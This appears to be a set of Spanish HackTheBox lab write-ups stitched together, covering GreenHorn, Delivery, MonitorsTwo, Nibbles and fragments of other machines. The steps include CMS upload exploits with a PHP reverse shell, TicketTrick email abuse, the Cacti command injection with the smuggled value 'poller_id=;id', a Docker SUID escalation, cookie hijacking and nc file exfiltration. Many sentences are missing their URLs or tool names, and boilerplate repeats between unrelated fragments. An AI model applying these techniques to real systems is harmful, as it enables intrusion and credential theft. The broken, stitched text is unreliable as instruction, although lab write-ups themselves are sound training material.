De momento no disponemos de credenciales válidas para intentar acceder.
En el sitio web del puerto 80 no logramos de momento encontrar nada interesante. Por lo tanto, procedimos a probar de enumerar el puerto 3000 y verificamos que se trata de un sitio web de Gitea.
Procederemos registrarnos en el sitio web para ver si disponemos de algún tipo de información interesante en el Gitea.
Al acceder al apartado de Explore
, verificamos que existe un repositorio llamado GreenAdmin / GreenHorn
. Procederemos a acceder al repositorio en busca de información.
Revisamos que en el archivo login.php
aparece la ruta data/settings/pass.php
de lo que parece ser la contraseña del CMS Pluck que encontramos anteriormente.
Al acceder a la ruta mencionada, verificamos que aparece una contraseña en formato hash.
Al revisar el tipo de hash, parece indicarnos que se trata de un hash SHA-521
, el cual mediante la herramientade de hashcat
logramos crackear el hash y obtener la contraseña en texto plano.
Revisamos que hemos ganado acceso al panel de administración del CMS Pluck. También verificamos que en el footer del sitio web, nos aparece la versión del CMS.
Realizando una búsqueda por Internet de posibles vulnerabilidades de la versión del CMS; nos encontramos con el siguiente CVE-2023-50564
.
Una vulnerabilidad de carga de archivos arbitrarios en el componente /inc/modules_install.php de Pluck-CMS v4.7.18 permite a los atacantes ejecutar código arbitrario cargando un archivo ZIP manipulado.
Por otro lado, también nos encontramos con el siguiente repositorio de GitHub el cual nos proporciona el exploit para aprovecharnos de la vulnerabilidad. Procederemos a clonarnos el repositorio en nuestro equipo local.
Revisando las instrucciones del exploit, verificamos que lo que trata de realizar es subir un comprimido .zip
con una Reverse Shell en PHP para explotar la vulnerabilidad y obtener un RCE (Remote Code Execution) y lograr acceso completo a la máquina.
Procederemos a editar el archivo poc.py
y modificaremos las variables por las correctas, indicando el hostname greenhorn.htb
y las credenciales de usuario admin
.
Por otro lado, procederemos a utilizar la siguiente Reverse Shell PHP de pentestmonkey
.
Editaremos el archivo de la Reverse Shell PHP con nuestra dirección IP de atacante y el puerto por donde estaremos en escucha con nc
.
En una terminal nueva, procederemos a ponernos en escucha por el puerto especificado en la Reverse Shell de PHP.
Procederemos comprimir el archivo shell.php
en un comprimido llamado payload.zip
. Procederemos a explotar la vulnerabilidad indicándole la ruta donde se encuentra el .zip
malicioso.
Verificaremos que en nuestra terminal de nc
hemos recibido correctamente la Reverse Shell y ya disponemos de acceso a la máquina víctima. Verificamos que nos encontramos con un usuario sin privilegios: www-data
Revisando el archivo /etc/passwd
, verificamos que el usuario junior
disponía de una bash. Probaremos de autenticarnos con las credenciales del usuario admin
del Pluck
(iloveyou1) para probar si esta contraseña es reutilizada. Logramos tener acceso como el usuario junior
y visualizar la flag user.txt.
Revisando el directorio /home/junior
, verificamos que dispone de un archivo PDF.
Para transferirnos este archivo en nuestro equipo local, procederemos a ponernos en escucha con nc
y a redirigir la conexión entrante a un archivo llamado UsingOpenVAS.pdf
.
Por parte de la máquina víctima, procederemos a enviar el archivo PDF a través de nc
a la dirección IP nuestra de atacante por el puerto especificado y indicándole que transfiera el archivo PDF.
Verificamos que logramos transferir el archivo a nuestro equipo local.
Revisando el PDF obtenido, verificamos que es un PDF dirigido al usuario junior
en el cual le indican lo que parecen ser las credenciales del usuario root
, pero estas se encuentran pixeladas.
En GitHub nos encontramos con la siguiente herramienta de Python que lo que realiza es intentar convertir la imagen pixelada en la imagen original.
A través del comando pdfimages
convertiremos el PDF en un archivo PPM. Seguidamente procederemeos a utilizar la herramienta de Depix.py
para convertir la imagen pixelada en su formato original.
Verificamos que en el resultado obtenido, parece ser que hemos logrado obtener la contraseña: sidefromsidetheothersidefromsidetheotherside
Probaremos de autenticarnos con el usuario root
desde la consola que ya teníamos acceso a la máquina. Verificamos que hemos logrado obtener el acceso como usuario root
y verificar la flag de root.txt.
Delivery
es una máquina Linux de dificultad fácil que cuenta con el sistema de tickets de soporte osTicket
donde es posible, mediante el uso de una técnica llamada TicketTrick
, otorgarle a un usuario no autenticado acceso a un correo electrónico temporal de la empresa. Esta "característica" permite el registro en MatterMost
y la unión al canal interno del equipo. A través de ese canal se revela que los usuarios han estado usando la misma variante de contraseña "PleaseSubscribe!", para el acceso interno.
En el canal también se revelan las credenciales para el usuario de correo que pueden dar el punto de apoyo inicial al sistema. Al enumerar el sistema de archivos, nos encontramos con el archivo de configuración de Mattermost
que revela las credenciales de la base de datos MySQL
. Al tener acceso a la base de datos, se puede extraer un hash de contraseña de la tabla Usuarios y descifrarlo utilizando el patrón "PleaseSubscribe!". Después de descifrar el hash, es posible iniciar sesión como usuario root.
Realizaremos un reconocimiento con Nmap
para ver los puertos que están expuestos en la máquina Delivery
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN
y oX
para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone del servicio SSH
, también dispone de una página de Nginx
en el puerto 80 (HTTP) , un servicio HTTP donde al parecer hay un servicio llamado Mattermost
.
Procederemos a transformar el archivo generado targetedXML
para transformar el XML
en un archivo HTML
para posteriormente montar un servidor web y visualizarlo.
Procederemos a realizar una enumeración de la página web, para ello accederemos a http://10.10.10.222.
Haciendo hovering sobre los enlaces de la página, verificamos que nos aparece un subdominio llamado helpdesk.delivery.htb
.
Añadiremos en nuestro archivo /etc/hosts
las entradas correspondientes.
Por otro lado, realizamos el mismo proceso anterior, esta vez sobre el subdominio encontrado. Al realizar una enumeración de directorios y páginas del subdominio encontrado, verificamos que logramos ver varias páginas interesantes.
Probamos de acceder a http://helpdesk.delivery.htb para verificar de qué trata el sitio web. Al acceder, parece ser una página de ticketing de un soporte técnico.
Al intentar registrarnos en el sitio web, vemos que nos aparece un mensaje indicando que debemos confirmar nuestro correo electrónico para poder acceder al sistema. No no podemos confirmar el registro, dado que en HTB normalmente no hay comunicación con servidores de correo externos, quizás de manera interna de la propia experiencia de la máquina si, pero este no era el caso.
Al intentar acceder con el usuario que nos hemos intentado registrar, verificamos que nos aparecía el mensaje indicando que debemos confirmar nuestra cuenta para acceder.
Probaremos de registrarnos con un usuario inventado en el portal de Mattermost
para ver si logramos acceder a la plataforma.
Comprobamos nuevamente que nos requiere verificar nuestro correo electrónico. Lamentablemente no disponemos del medio para realizarlo. Buscaremos otras maneras de acceder a este u otro servicio.
Comprobamos que al parecer el ticket de soporte técnico ha sido crado correctamente. Nos indica que modemos comprobar el estado de nuestro ticketa través de un ID, y que si queremos más información sobre el estado de nuestro ticket, que nos pusieramos en contacto con un correo que tiene de nombre el ID del ticket con el dominiio delivery.htb
.
Revisamos el apartado de Check Ticket Status
de acceder con el correo que hemos indicado al crear el ticket y con el ID del ticket.
Verificamos que podemos observer el estado del ticket a través de esa opción.
Por lo tanto, dado que no disponemos de un correo válido para confirmar nuestro correo electrónico e ambas plataformas, lo que probamos es de registrarnos en la plataforma de Mattermost
con el correo electrónico que nos proporcionaron desde el sistema de tickets en el cual nos indicaron que para saber más información sobre el ticket, que les mandasemos un correo electrónico.
Verificamos que nos vuelven a indicarnos de verificar nuestro correo electrónico, este enlace de verificación se debería haber enviado a IDticket@delivery.htb
en donde el IDticket
es el que nos generó al crear nuestro ticket en la plataforma
Verificamos si volvemos a comprobar el estado de nuestro ticket, hemos recibido el correo de verificación para verificar el usuario que hemos registrado en Mattermost
. Esto se ha logrado utilizando el correo que nos han dado de prueba, al indicar que nos hemos querido registrar con ese correo, ese correo nos ha llegado a nosotros a través del sistema de tickets.
Comprobamos que hemos verificado correctamente el usuario que hemos intentado registrar, intentaremos acceder con ese usuario para revisar si disponemos del acceso.
Al intentar acceder, comprobamos que hemos podido acceder a la plataforma de Mattermost
. Al acceder, nos proporciona la opción para acceder a un Team llamado internal
.
Al acceder al Team llamado internal
, verificamos una conversación entre el usuario root
y los desarrolladores. En el chat aparecen las credenciales de acceso del usuario maildeliverer:Youve_G0t_Mail!
Además, les indica que necesitan crear un programa para que dejen de reutilizar contraseñas, en especial aquellas con la variante PleaseSubscribe!
El usuario root
indica que esa contraseña no se encuentra en el diccionario rockyou.txt
, pero los atacantes podrían emplear métodos para crear variantes sobre la contraseña y crackearla sin problemas. Esto nos puede servir de pista para acceder con el usuario root
si dispone de una variante de esa contraseña.
Accederemos a través del servicio SSH
con el usuario maildeliverer
y las credenciales encontradas en el Mattermost
. Comprobamos que podemos verificar la flag de user.txt.
Verificamos que en el directorio /opt
disponemos de la carpeta de la instalación deMattermost
.
Enumerando el directorio, verificamos que disponemos de un archivo de configuración llamado config.json.
Al revisar la configuración del archivo, verificamos que encontramos las credenciales de acceso al MySQL. Las credenciales aparecen en texto plano: mmuser:Crack_The_MM_Admin_PW
Intentaremos acceder al servicio de MySQL
con las credenciales obtenidas. Verificamos que podemos acceder y enumerando las bases de datos, nos encontramos con una BBDD de Mattermost
.
Al listar las tablas de la BBDD mencionada, comprobamos que existe una tabla llamada users
la cual podría contener información interesante, credenciales, etc.
Al enumerar los datos de la tabla users
, nos encontramos con varios usuarios de la plataforma de Mattermost
, entre los cuales aparece el hash del usuario root
.
Recordando lo que indicaba el usuario root
en el chat interno de Mattermost
, es posible que el usuario root
disponga de una contraseña con una variante a PleaseSubscribe!
Teniendo el hash del usuario root
y la posible contraseña, lo que reaizaremos es crear unas reglas con hashcat
para crear variantes de la contraseña e intentar crackearla. Verificamos que hemos podido crackear el hash y obtener la contraseña que en un principio con el rockyou.txt
no lo hubieramos podido crackear.
Intentaremos acceder cambiando nuestro usuario actual por el de root
con las credenciales encontradas y verificamos que logramos tener el acceso y visualizar la flag de root.txt.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Al acceder a, nos encontramos con la página que viene con Apache
por defecto.
Al acceder a, nos encontramos con la siguiente página web que nos proporciona un panel de autenticación. Intentamos realizar un Authentication Bypass
con inyecciones SQL, pero no obtuvimos resultado.
Al acceder a , verificamos un gran listado de archivos .acc
que parecen ser transferencias bancarias.
Volvemos al panel de autenticación de y probamos de autenticarnos con las credenciales del usuario encontrado.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y verificaremos que se trate de una aplicación web que permite probar código Node.js
sin necesidad de ninguna configuración o instalación. Esta aplicación web utiliza por detrás una sandbox
para ejecutar el código en un entorno seguro y protegido, sin ningún acceso al sistema subyacente.
Al acceder a , nos encontramos con una página en la cual podemos inyectar el código Node.js
y al darle a la opción de Run
se nos mostrará el resultado en la zona derecha.
Revisando la página web , nos encontramos con la siguiente información.
⚠️ This box is still active on HackTheBox
. Once retired, this article will be published for public access as per .
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accediendo a nos encontramos con la siguiente página web que nos muestra diferentes opciones y apartados.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Procederemos a intentar acceder a , verificamos que esta página web requiere de credenciales de acceso. Probando con admin/admin
verificamos que ganamos acceso a la página web.
Revisamos que si accedemos a tenemos la capacidad de listar los directorios desde la raíz /
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Procederemos a acceder al sitio web , verificamos que es una página web que actúa como herramienta para analizar los archivos CIF
(Crystallographic Information File) que sean subidos.
Procederemos a acceder a la página de y procederemos a intentar registrarnos en el sitio web.
Revisaremos que somos redirigidos a la página , la cual verificamos que podemos subir un archivo CIF
, además nos proporcionan un ejemplo de la estructura de un archivo CIF
.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Al acceder a verificamos que se trata de una página web de WordPress en la cual tiene un blog sobre un servidor de Minecraft.
Revisando de acceder a , verificamos que nos proporcionan de dos archivos .jar
de plugins de Minecraft.
Por lo tanto, probaremos de acceder a con las credenciales encontradas.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y comprobaremos la siguiente página web, que ofrece 3 páginas de About
, Contact
y Portal
.
Al acceder a la sección de Portal
de la página principal, somos redirigidos a la página web la cual nos muestra un mensaje indicando que el portal está en desarrollo. También se nos indica que para acceder al Bounty Tracker
accedamos al hipervínculo que se nos muestra.
Al acceder al enlace, somos redirigidos a la siguiente página web de . En la siguiente página web se nos indica un sistema de reporting de BugBounty
en el cual nos permiten indicar diferentes campos.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accedemos a y verificaremos la siguiente página web.
Para realizar la explotación manual, interceptaremos con BurpSuite
la solicitud de . Inyectaremos el siguiente comando, al enviar la solicitud, comprobamos en la respuesta por parte del servidor recibimos el resultado de la ejecución de comandos.
Accederemos a y probaremos de acceder con las credenciales del usuario cody
localizadas anteriormente.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Al acceder a verificamos que se trata de una página en la cual a simple vista no logramos ver más páginas ni ningún tipo de información relevante.
Al acceder a nos encontramos con una página similar a la anterior.
Accediendo a nos encontramos con un panel de inicio de sesión del CMS de Joomla.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Al acceder a, verificamos que se trata de una página en la cual a simple vista no logramos ver más páginas ni ningún tipo de información relevante.
Al intentar acceder a , verificamos que nos aparece un mensaje de error peculiar.
Al verificar el siguiente sitio web , nos encontramos con diferentes endpoints.
Revisando el contenido de, verificamos que nos aparece lo que parece ser una cookie de sesión del usuario kanderson
.
Al tratar de acceder a somos redirigidos a login
.
Modificaremos nuestra cookie de sesión actual para indicar la que hemos encontrado del usuario kanderson
. Probaremos de acceder nuevamente a
⚠️ This box is still active on HackTheBox
. Once retired, this article will be published for public access as per .
Editorial
es una máquina Linux de dificultad fácil que cuenta con una aplicación web de publicación vulnerable a Server-Side Request Forgery (SSRF)
. Esta vulnerabilidad se aprovecha para obtener acceso a una API interna en ejecución, que luego se aprovecha para obtener credenciales que conducen al acceso SSH
a la máquina. Al enumerar el sistema, se revela además un repositorio Git que se aprovecha para revelar las credenciales de un nuevo usuario. El usuario root
se puede obtener explotando y la configuración sudo.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontramos con la siguiente página web. Al parecer, se trata de una página de libros.
Al acceder a nos encontramos con la siguiente página web en la cual al parecer nos permite subir nuestro propio libro para que la editorial nos lo revise.
Al revisar manualmente con BurpSuite
sobre el SSRF
sobre la dirección , también nos devuelve una información.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontramos con la siguiente página web. Aparentemente, no obtenemos ningún dato interesante en el contenido principal de la página web.
Accederemos a y comprobaremos el siguiente contenido.
Para comprobar la página web desde nuestro equipo, lo que realizaremos es un Port Forwarding para poder comprobar el puerto interno desde nuestro equipo local. Este práctica lo realizaremos a través de el cual compartiremos a través de un servidor web.
Si accedemos a se nos muestra el siguiente mensaje de error, al parecer la aplicación no funciona correctamente en este punto. Exploraremos otras vías.
Deberemos de disponer instalado . PHPGGC es una biblioteca de cargas útiles PHP unserialize() junto con una herramienta para generarlas, desde la línea de comandos o mediante programación.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Al acceder a comprobamos que solamente se nos muestra una página en la cual nos aparece una imagen, no logramos obtener ningún tipo de información adicional.
Pensamos que quizás donde se encuentre la información oculta se sitúe en la imagen que nos aparecía en la página web .
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y verificaremos que nos encontramos con el siguiente sitio web, el cual probaremos de acceder a la opción de "For questions".
Al probar de acceder a , nos encontramos con un mensaje de Unauthorized
.
Regresaremos a la página de y modificaremos la cookie actual, por la cookie robada del usuario admin
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
, debido a que en el resultado de Nmap
, nos aparecía que el sitio web nos redirigía a .
Al acceder a verificaremos el contenido del sitio web, aparentemente no hay ningún tipo de información que nos pueda servir más adelante.
Al proceder a acceder a , verificamos que hemos sido redirigidos a la página el cual nos mostraba el siguiente panel de inicio de sesión.
Al acceder a , verificamos que efectivamente se trata de un sitio web de Gitea.
Al volver a acceder a e ingresar la contraseña del usuario admin
verificamos que nos marca como credenciales válidas.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Revisaremos las tecnologías que utiliza el sitio web,. Por otro lado, realizaremos una enumeración de directorios sobre el sitio web en el cual no logramos obtener ningún resultado que nos pueda servir.
Por otro lado, probamos de acceder a y verificamos que llegamos al panel de inicio de sesión de Mattermost
. Verificamos que la plataforma requiere de credenciales de acceso, también dispone de una opción para crear nuestra usuario.
Volviendo a la página web verificamos que podemos crear un nuevo ticket para el equipo de soport técnico Helpdesk. Probaremos de crear un nuevo ticket de prueba para verificar que es lo que realiza.
MonitorsTwo
es una máquina Linux de dificultad fácil que muestra una variedad de vulnerabilidades y configuraciones erróneas. La enumeración inicial expone una aplicación web propensa a la ejecución de código remoto (RCE) previa a la autenticación a través de un encabezado X-Forwarded-For malicioso. La explotación de esta vulnerabilidad otorga un shell dentro de un contenedor Docker. Un binario capsh mal configurado con el bit SUID establecido permite el acceso de root dentro del contenedor. El descubrimiento de las credenciales de MySQL permite el volcado de un hash, que, una vez descifrado, proporciona acceso SSH a la máquina. Una enumeración adicional revela una versión vulnerable de Docker (CVE-2021-41091) que permite a un usuario con pocos privilegios acceder a los sistemas de archivos del contenedor montados. Aprovechando el acceso de root dentro del contenedor, se copia un binario bash con el bit SUID establecido, lo que resulta en una escalada de privilegios en el host.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina MonitorsTwo. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Nginx
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos una comprobación de las tecnologías que son utilizadas en el sitio web.
Accedemos a http://10.10.11.211 y verificamos que se trata de un panel de inicio de sesión de Cacti
en la cual se puede verificar que la versión del software es la 1.2.22.
Buscamos a través de searchsploit
si existe alguna vulnerabilidad conocida para dicha versión y nos encontramos con el siguiente resultado.
Revisando en profundidad sobre la vulnerabilidad reportada anteriormente, nos encontramos con el siguiente CVE-2022-46169
.
Cacti es una plataforma de código abierto que proporciona un framework de gestión de fallos y supervisión operativa robusta y extensible para los usuarios. En las versiones afectadas, una vulnerabilidad de inyección de comandos permite a un usuario no autenticado ejecutar código arbitrario en un servidor que ejecuta Cacti, si se seleccionó una fuente de datos específica para cualquier dispositivo monitoreado. La vulnerabilidad reside en el archivo remote_agent.php. Se puede acceder a este archivo sin autenticación. Esta función recupera la dirección IP del cliente a través de get_client_addr y resuelve esta dirección IP en el nombre de host correspondiente a través de gethostbyaddr. Después de esto, se verifica que existe una entrada dentro de la tabla poller, donde el nombre de host corresponde al nombre de host resuelto. Si se encuentra dicha entrada, la función devuelve "verdadero" y el cliente está autorizado. Esta autorización se puede omitir debido a la implementación de la función get_client_addr. La función se define en el archivo lib/functions.php y verifica las variables serval $_SERVER para determinar la dirección IP del cliente. Un atacante puede establecer arbitrariamente las variables que comienzan con HTTP_. Dado que hay una entrada predeterminada en la tabla poller con el nombre de host del servidor que ejecuta Cacti, un atacante puede omitir la autenticación, por ejemplo, proporcionando el encabezado Forwarded-For: . De esta forma, la función get_client_addr devuelve la dirección IP del servidor que ejecuta Cacti.
La siguiente llamada a gethostbyaddr resolverá esta dirección IP en el nombre de host del servidor, que pasará la verificación del nombre de host poller debido a la entrada predeterminada. Después de omitir la autorización del archivo remote_agent.php, un atacante puede desencadenar diferentes acciones. Una de estas acciones se llama "polldata". La función llamada poll_for_data recupera algunos parámetros de solicitud y carga las entradas correspondientes de poller_item de la base de datos. Si la acción de un poller_item es igual a POLLER_ACTION_SCRIPT_PHP, la función proc_open se usa para ejecutar un script PHP. El parámetro controlado por el atacante $poller_id se recupera mediante la función get_nfilter_request_var, que permite cadenas arbitrarias. Esta variable luego se inserta en la cadena pasada a proc_open, lo que genera una vulnerabilidad de inyección de comando. Por ejemplo, al proporcionar poller_id=;id, se ejecuta el comando id. Para llegar a la llamada vulnerable, el atacante debe proporcionar un host_id y un local_data_id, donde la acción del poller_item correspondiente está configurada en POLLER_ACTION_SCRIPT_PHP. Ambos identificadores (host_id y local_data_id) pueden ser fácilmente forzados por fuerza bruta. El único requisito es que exista un poller_item con una acción POLLER_ACTION_SCRIPT_PHP.
Es muy probable que esto ocurra en una instancia productiva porque esta acción se agrega mediante algunas plantillas predefinidas como "Device - Uptimeo "Dispositivo - Polling Time". Esta vulnerabilidad de inyección de comandos permite a un usuario no autenticado ejecutar comandos arbitrarios si se configura unpoller_itemcon el tipoaction POLLER_ACTION_SCRIPT_PHP (2). La omisión de autorización debe evitarse al no permitir que un atacante haga que get_client_addr(archivolib/functions.php) devuelva una dirección IP arbitraria. Esto podría hacerse al no respetar las variables HTTP_... $_SERVER. Si se deben conservar por razones de compatibilidad, al menos se debe evitar falsificar la dirección IP del servidor que ejecuta Cacti. Esta vulnerabilidad se ha solucionado en las versiones 1.2.x y 1.3.x, siendo 1.2.23` la primera versión que contiene el parche.
Realizamos una búsqueda básica por Internet y logramos encontrar diferentes repositorios en los cuales parece ser que nos muestran el exploit
.
Nos descargaremos el siguiente repositorio de GitHub.
Nos ponemos en escucha con nc
para recibir la Reverse Shell.
Ejecutaremos el exploit para proporcionarnos una Reverse Shell hacía el equipo vulnerable.
Verificamos que nos encontramos en el equipo, pero por lo que parece ser, nos encontramos dentro de un contenedor Docker.
Realizaremos la siguiente configuración para disponer de una TTY
interactiva y poder mejorar nuestra experiencia utilizando la terminal.
Nos encontramos con el usuario www-data
en un contenedor de Docker del equipo víctima. Por lo tanto, realizaremos una enumeración para encontrar alguna vía para elevar nuestros privilegios.
Para ello, haremos uso de linpeas.sh
el cual compartiremos a través de un servidor web.
Desde el equipo comprometido, nos descargaremos el binario de linpeas.sh
y le daremos los permisos correspondientes.
Después de ejecutar el escaneo, verificamos que se nos muestra el binario /sbin/capsh
el cual dispone de privilegios de SUID
.
Realizaremos el comando que se nos indicaba para realizar la explotación, comprobamos finalmente que nos hemos podido convertir en usuario root
del contenedor de Docker.
Realizando una enumeración de archivos en el directorio /var/www/html/include
, nos encontramos con el archivo config.php
el cual contiene las credenciales en texto plano para acceder al MySQL
.
Nos conectaremos al MySQL del hostname db
y verificaremos las bases de datos que disponemos.
Enumeraremos la base de datos nombrada cacti
en la cual dispone de una tabla llamada user_auth
.
Al revisar el contenido de la tabla user_auth
, logramos encontrar credenciales en formato hash de diferentes usuarios.
A través de john
logramos crackear el hash de las credenciales del usuario marcus
.
Probamos de autenticarnos con el usuario marcus
al SSH
del equipo víctima. Finalmente obtenemos el acceso correspondiente y visualizamos la flag de user.txt.
Revisaremos si el usuario marcus
dispone de algún grupo o permisos de sudoers
interesantes, pero no obtenemos resultado.
Después de enumerar diferentes directorios, enumerar el equipo con linpeas.sh
, etc no logramos obtener resultado. Por lo que decidimos revisar los binarios instalados en el equipo, entre los que se encontraba el de Docker con la siguiente versión.
Al realizar una búsqueda por Internet de posibles vulnerabilidades de esa versión de Docker
, nos encontramos con el siguiente CVE-2021-41091
.
Moby es un proyecto de código abierto creado por Docker para permitir la contención de software. Se encontró un error en Moby (Docker Engine) en el que el directorio de datos (normalmente "/var/lib/docker") contenía subdirectorios con permisos insuficientemente restringidos, lo que permitía a usuarios de Linux no privilegiados saltar el contenido del directorio y ejecutar programas. Cuando los contenedores incluían programas ejecutables con bits de permiso extendidos (como "setuid"), los usuarios no privilegiados de Linux podían detectar y ejecutar esos programas. Cuando el UID de un usuario de Linux no privilegiados en el host colisionaba con el propietario o el grupo de un archivo dentro de un contenedor, el usuario de Linux no privilegiados en el host podía descubrir, leer y modificar esos archivos. Este bug ha sido corregido en Moby (Docker Engine) versión 20.10.9. Usuarios deberían actualizar a esta versión lo antes posible. Los contenedores en ejecución deben ser detenidos y reiniciados para que los permisos sean corregidos. Para usuarios que no puedan actualizar, limite el acceso al host a usuarios confiables. Limite el acceso a los volúmenes del host a los contenedores confiables
Al intentar enumerar si había algún contenedor en ejecución con el comando docker ps
, nos devolvió un mensaje de error de acceso denegado.
Por lo tanto, decidimos revisar a través del comando mount
de revisar los puntos de montaje de Docker. Finalmente, comprobamos dos overlay
que podrían ser los contenedores en ejecución.
Al revisar el contenido de ambos contenedores, nos encontramos que al parecer el segundo es el de cacti
, el cual teníamos acceso como usuario root
.
Probaremos de verificar si la vulnerabilidad está presente, crearemos un nuevo archivo gzzcoo.txt
en el directorio /tmp
del contenedor de Docker. Al crear dicho archivo, verificamos que posteriormente lo podemos visualizar accediendo a él.
Por lo tanto, para poder aprovecharnos de esta vulnerabilidad, lo que realizaremos es darle permisos de SUID
al binario /bin/bash
del contenedor de Dcoker el cual obtuvims anteriormente acceso como root
.
Una vez asignado los permisos correspondientes, ejecutaremos el /bin/bash
accediendo directamente desde /var/lib/docker/overlay2
. Verificamos que finalmente nos hemos convertido en usuario root
en el equipo objetivo y no en el de Docker.
Logramos obtener finalmente la flag de root.txt.
Por otro lado, nos encontramos con el siguiente exploit en Bash que nos guiaba en la explotación, ya que está realizado de una manera más automatizada.
Al ejecutar el exploit, se nos indica que le hayamos otorgado el setuid
al /bin/bash
del contenedor de Docker. Una vez realizada esta verificación, se nos indicará el Vulnerable Path
y cómo abusar de esta vulnerabilidad.
Ejecutaremos la bash
modificada del contenedor de Docker y logramos obtener el acceso como usuario root
en el sistema objetivo y no el contenedor de Docker.
Nibbles
es una máquina bastante simple, sin embargo, con la inclusión de una lista negra de inicio de sesión, es un poco más difícil encontrar credenciales válidas. Afortunadamente, se puede enumerar un nombre de usuario y adivinar la contraseña correcta no lleva mucho tiempo para la mayoría.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Nibbles. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos una comprobación de las tecnologías que utiliza el sitio web.
Al acceder a http://10.10.10.75 verificamos que el contenido de la página web solamente nos muestra Hello world!
.
Al verificar el código fuente de la página web, comprobamos que se nos menciona de un directorio llamado nibbleblog
.
Realizaremos una comprobación de las tecnologías que utiliza el siguiente sitio web.
Al acceder a http://10.10.10.75/nibbleblog/, comprobamos que se trata de Nibbleblog
.
A través de la herramienta feroxbuster
, realizaremos una enumeración de directorios y páginas web. Verificamos que se nos muestran diferentes archivos que podremos inspeccionar.
Al analizar los distintos archivos, nos encontramos con el archivo users.xml
el cual nos proporciona el nombre de un usuario del CMS.
Por otro lado, volveremos a realizar una enumeración de páginas y directorios, esta vez con dirsearch
. En el resultado obtenido, verificamos una página web llamada admin.php
.
Después de un tiempo intentando encontrar vectores de ataque para tener acceso al CMS, probamos de acceder con el usuario encontrado y credenciales del nombre de máquina, finalmente logramos el acceso. admin/nibbles
Una vez teniendo acceso al CMS de Nibbleblog
, nos encontramos con el archivo README
el cual nos proporciona la versión exacta del CMS.
Al realizar una búsqueda de vulnerabilidades de esta versión del CMS, nos encontramos con la siguiente de Arbitrary File Upload
.
